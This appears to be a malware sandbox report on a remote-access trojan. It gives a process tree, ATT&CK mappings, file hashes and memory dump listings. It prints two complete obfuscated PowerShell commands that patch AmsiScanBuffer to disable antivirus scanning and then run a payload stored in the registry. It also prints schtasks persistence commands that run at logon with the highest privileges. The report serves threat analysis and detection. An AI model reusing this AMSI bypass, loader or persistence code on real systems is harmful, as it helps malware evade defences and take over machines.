$_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+'e'+''+'m'+''+'.'+''+[Char](100)+'ll')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+'f'+'t'+''+[Char](46)+'W'+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+'U'+'n'+'s'+[Char](97)+''+[Char](102)+''+[Char](101)+'N'+'a'+''+[Char](116)+''+'i'+''+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+''+[Char](116)+''+'h'+'o'+'d'+''+'s'+'');$ecKHQVOuQGEuLl=$dzFGPcvPBLmbf.GetMethod(''+'G'+'e'+'t'+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](99)+''+'A'+''+'d'+''+[Char](100)+''+'r'+'e'+'s'+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+'bl'+[Char](105)+''+'c'+''+','+'S'+[Char](116)+'a'+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$FhInqOXfQgwxpYrhdeB=AtOxPcwyxZHS @([String])([IntPtr]);$DFzrmQMwlZsAUtAzmaXkvk=AtOxPcwyxZHS @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$aTnmdkzefyW=$dzFGPcvPBLmbf.GetMethod('Get'+[Char](77)+'o'+'d'+''+[Char](117)+''+[Char](108)+'e'+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+'el3'+'2'+'.'+[Char](100)+''+'l'+'l')));$jwoGPaYTbocwEI=$ecKHQVOuQGEuLl.Invoke($Null,@([Object]$aTnmdkzefyW,[Object](''+'L'+'o'+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+'br'+'a'+'r'+[Char](121)+'A')));$yfsbWtOgckkpFUfjH=$ecKHQVOuQGEuLl.Invoke($Null,@([Object]$aTnmdkzefyW,[Object]('V'+[Char](105)+'rt'+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+'o'+''+[Char](116)+''+[Char](101)+''+'c'+'t')));$GSWMbZx=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jwoGPaYTbocwEI,$FhInqOXfQgwxpYrhdeB).Invoke('a'+'m'+''+[Char](115)+''+[Char](105)+''+'.'+'dl'+[Char](108)+'');$umzHjvqheltZKIngU=$ecKHQVOuQGEuLl.Invoke($Null,@([Object]$GSWMbZx,[Object]('Am'+'s'+'i'+[Char](83)+'ca'+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+'e'+[Char](114)+'')));$qBOkkggwGU=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yfsbWtOgckkpFUfjH,$DFzrmQMwlZsAUtAzmaXkvk).Invoke($umzHjvqheltZKIngU,[uint32]8,4,[ref]$qBOkkggwGU);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$umzHjvqheltZKIngU,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yfsbWtOgckkpFUfjH,$DFzrmQMwlZsAUtAzmaXkvk).Invoke($umzHjvqheltZKIngU,[uint32]8,0x20,[ref]$qBOkkggwGU);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+'7'+[Char](55)+'s'+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:QlglyWqbmtjf{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DZGaThthGEAtMv,[Parameter(Position=1)][Type]$ZsRjgcnOvA)$PIIKxLDqlNR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+'e'+''+'d'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+'e'+'m'+''+'o'+'r'+[Char](121)+''+'M'+''+'o'+''+[Char](100)+'u'+'l'+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+'D'+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+'e'+''+'T'+'y'+'p'+''+'e'+'',''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+'e'+'d,'+[Char](65)+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+','+''+[Char](65)+''+'u'+''+[Char](116)+'o'+[Char](67)+'l'+[Char](97)+''+'s'+'s',[MulticastDelegate]);$PIIKxLDqlNR.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+'ec'+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+'m'+[Char](101)+','+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+'S'+'i'+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$DZGaThthGEAtMv).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+[Char](105)+''+[Char](109)+'e,'+'M'+'a'+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$PIIKxLDqlNR.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+'o'+''+[Char](107)+'e',''+'P'+''+'u'+''+'b'+''+[Char](108)+'i'+'c'+''+[Char](44)+'H'+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+'S'+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+'t'+'ual',$ZsRjgcnOvA,$DZGaThthGEAtMv).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+'m'+[Char](101)+''+','+''+'M'+''+[Char](97)+'n'+'a'+'g'+[Char](101)+'d');Write-Output $PIIKxLDqlNR.CreateType();}$HXsVEoVQXfluK=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+'s'+''+[Char](116)+''+'e'+''+'m'+''+[Char](46)+'dl'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+'o'+''+'s'+'o'+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n32'+[Char](46)+'U'+[Char](110)+''+[Char](115)+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+'o'+'d'+'s'+'');$BFbSLDdFqCzMWB=$HXsVEoVQXfluK.GetMethod(''+[Char](71)+'e'+'t'+''+'P'+''+'r'+''+[Char](111)+''+'c'+'A'+[Char](100)+''+'d'+'r'+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags]('Pu'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+'S'+[Char](116)+'a'+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ijaGfETXKpPnoJfgqqV=QlglyWqbmtjf @([String])([IntPtr]);$paEIgJnhNedrmecqvdXJqw=QlglyWqbmtjf @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$bFzVKiIoXbN=$HXsVEoVQXfluK.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+'le'+'H'+'a'+[Char](110)+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object]('ke'+'r'+''+'n'+''+[Char](101)+''+'l'+''+[Char](51)+''+'2'+''+[Char](46)+'dl'+[Char](108)+'')));$CDFPXeHLfGfETp=$BFbSLDdFqCzMWB.Invoke($Null,@([Object]$bFzVKiIoXbN,[Object]('L'+[Char](111)+''+[Char](97)+''+'d'+''+'L'+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$xXmVwaifUPCOMjlOM=$BFbSLDdFqCzMWB.Invoke($Null,@([Object]$bFzVKiIoXbN,[Object](''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+''+'P'+'r'+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$pdGJEpP=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CDFPXeHLfGfETp,$ijaGfETXKpPnoJfgqqV).Invoke('a'+[Char](109)+'s'+[Char](105)+'.'+[Char](100)+''+'l'+''+'l'+'');$hsvYlCncmtmqUAqyM=$BFbSLDdFqCzMWB.Invoke($Null,@([Object]$pdGJEpP,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+'S'+'c'+''+[Char](97)+''+[Char](110)+''+'B'+'u'+[Char](102)+'f'+[Char](101)+'r')));$uUViHHwxxv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xXmVwaifUPCOMjlOM,$paEIgJnhNedrmecqvdXJqw).Invoke($hsvYlCncmtmqUAqyM,[uint32]8,4,[ref]$uUViHHwxxv);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hsvYlCncmtmqUAqyM,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xXmVwaifUPCOMjlOM,$paEIgJnhNedrmecqvdXJqw).Invoke($hsvYlCncmtmqUAqyM,[uint32]8,0x20,[ref]$uUViHHwxxv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+'T'+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+'7'+[Char](55)+'st'+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2352

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:64

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
- Drops file in System32 directory
PID:1060

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1152

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1188

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1296

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1316

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1332

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1384

c:\windows\system32\sihost.exe
sihost.exe
2⤵
PID:2620

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1476

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1536

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1544

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1592

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1660

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1800

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1864

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1896

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2028

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2060

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:2144

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2384

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2548

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2556

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2568

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2644

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2728

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2760

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2780

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2812

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2824

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
1⤵
PID:3020

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2004

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3376

C:\Users\Admin\AppData\Local\Temp\Uni.exe
"C:\Users\Admin\AppData\Local\Temp\Uni.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3660

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:4280

C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4240

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:3364

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
4⤵
- Executes dropped EXE
PID:4388

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
3⤵
- Executes dropped EXE
PID:4008

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:4552

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3956

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3664

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4944

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:4608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4524

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2788

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:4620

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4836

C:\Windows\system32\ApplicationFrameHost.exe
C:\Windows\system32\ApplicationFrameHost.exe -Embedding
1⤵
PID:2280

C:\Windows\System32\InstallAgent.exe
C:\Windows\System32\InstallAgent.exe -Embedding
1⤵
PID:4816

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4368

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe
1⤵
PID:3204

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2392

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\install.exe
Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
Filesize
409KB

MD5
7417c8c73e614f293152575f46134216

SHA1
cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805

SHA256
00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

SHA512
897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_gejrha1l.a3z.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04
Filesize
412B

MD5
8af28da34f963901dbe719f6b73a4a4f

SHA1
5ca890657e6c113120432c77e4747a38cd1d6321

SHA256
c4534eef4b11858e01add1166d448abf619936548f8aa4627a7968da7ada7ba9

SHA512
b512b243e88a8849caff65e6adc9b0772c65b87c81434e048594e7f871b1facc333dbf037577bfd8c9aa0a6145c62fc081253867d14cc7ce99745065c71043fd

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize
3KB

MD5
56efdb5a0f10b5eece165de4f8c9d799

SHA1
fa5de7ca343b018c3bfeab692545eb544c244e16

SHA256
6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

SHA512
91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
efe0903424c927d3611f8d8acd078b79

SHA1
22fda4e644f8fa0908493f40b930b1dff1755356

SHA256
79fc6c6c41514007fa27978e5313312789718489126594f603a4a325153114d6

SHA512
8de645327a416095eae442471a8b4f0b27c60dd424545ebb9f9708a412b6f7d0635ef3069e1663db3dd2bfe5882040c25a1af10d12a2eed4bf8340fd401f8de9

Download Submit
memory/584-91-0x0000027952490000-0x00000279524BB000-memory.dmp

Filesize
172KB

Download
memory/584-97-0x0000027952490000-0x00000279524BB000-memory.dmp

Filesize
172KB

Download
memory/584-90-0x0000027952490000-0x00000279524BB000-memory.dmp

Filesize
172KB

Download
memory/584-89-0x0000027952460000-0x0000027952485000-memory.dmp

Filesize
148KB

Download
memory/584-98-0x00007FFA7E860000-0x00007FFA7E870000-memory.dmp

Filesize
64KB

Download
memory/640-109-0x00007FFA7E860000-0x00007FFA7E870000-memory.dmp

Filesize
64KB

Download
memory/640-102-0x000001F427F30000-0x000001F427F5B000-memory.dmp

Filesize
172KB

Download
memory/640-108-0x000001F427F30000-0x000001F427F5B000-memory.dmp

Filesize
172KB

Download
memory/740-119-0x000001F987C50000-0x000001F987C7B000-memory.dmp

Filesize
172KB

Download
memory/740-120-0x00007FFA7E860000-0x00007FFA7E870000-memory.dmp

Filesize
64KB

Download
memory/740-113-0x000001F987C50000-0x000001F987C7B000-memory.dmp

Filesize
172KB

Download
memory/900-124-0x000002A27F080000-0x000002A27F0AB000-memory.dmp

Filesize
172KB

Download
memory/900-131-0x00007FFA7E860000-0x00007FFA7E870000-memory.dmp

Filesize
64KB

Download
memory/900-130-0x000002A27F080000-0x000002A27F0AB000-memory.dmp

Filesize
172KB

Download
memory/1008-135-0x000002C8B5270000-0x000002C8B529B000-memory.dmp

Filesize
172KB

Download
memory/2256-73-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2256-86-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2256-74-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2256-78-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2256-82-0x00007FFABE7D0000-0x00007FFABE9AB000-memory.dmp

Filesize
1.9MB

Download
memory/2256-83-0x00007FFABCA90000-0x00007FFABCB3E000-memory.dmp

Filesize
696KB

Download
memory/2256-75-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2256-76-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3660-6-0x0000000005670000-0x0000000005682000-memory.dmp

Filesize
72KB

Download
memory/3660-7-0x0000000005A60000-0x0000000005A9E000-memory.dmp

Filesize
248KB

Download
memory/3660-1-0x0000000000130000-0x000000000019C000-memory.dmp

Filesize
432KB

Download
memory/3660-2-0x0000000004EF0000-0x00000000053EE000-memory.dmp

Filesize
5.0MB

Download
memory/3660-3-0x0000000004A90000-0x0000000004B22000-memory.dmp

Filesize
584KB

Download
memory/3660-4-0x0000000073AA0000-0x000000007418E000-memory.dmp

Filesize
6.9MB

Download
memory/3660-5-0x0000000004B30000-0x0000000004B96000-memory.dmp

Filesize
408KB

Download
memory/3660-20-0x0000000073AA0000-0x000000007418E000-memory.dmp

Filesize
6.9MB

Download
memory/3660-0-0x0000000073AAE000-0x0000000073AAF000-memory.dmp

Filesize
4KB

Download
memory/4240-14-0x0000000073AA0000-0x000000007418E000-memory.dmp

Filesize
6.9MB

Download
memory/4240-13-0x0000000073AA0000-0x000000007418E000-memory.dmp

Filesize
6.9MB

Download
memory/4240-46-0x0000000006820000-0x000000000682A000-memory.dmp

Filesize
40KB

Download
memory/4240-1280-0x0000000073AA0000-0x000000007418E000-memory.dmp

Filesize
6.9MB

Download
memory/4240-1281-0x0000000073AA0000-0x000000007418E000-memory.dmp

Filesize
6.9MB

Download
memory/4384-71-0x00007FFABE7D0000-0x00007FFABE9AB000-memory.dmp

Filesize
1.9MB

Download
memory/4384-72-0x00007FFABCA90000-0x00007FFABCB3E000-memory.dmp

Filesize
696KB

Download
memory/4384-25-0x000002B3F51C0000-0x000002B3F51E2000-memory.dmp

Filesize
136KB

Download
memory/4384-28-0x000002B3F54E0000-0x000002B3F5556000-memory.dmp

Filesize
472KB

Download
memory/4384-70-0x000002B3F5460000-0x000002B3F548A000-memory.dmp

Filesize
168KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads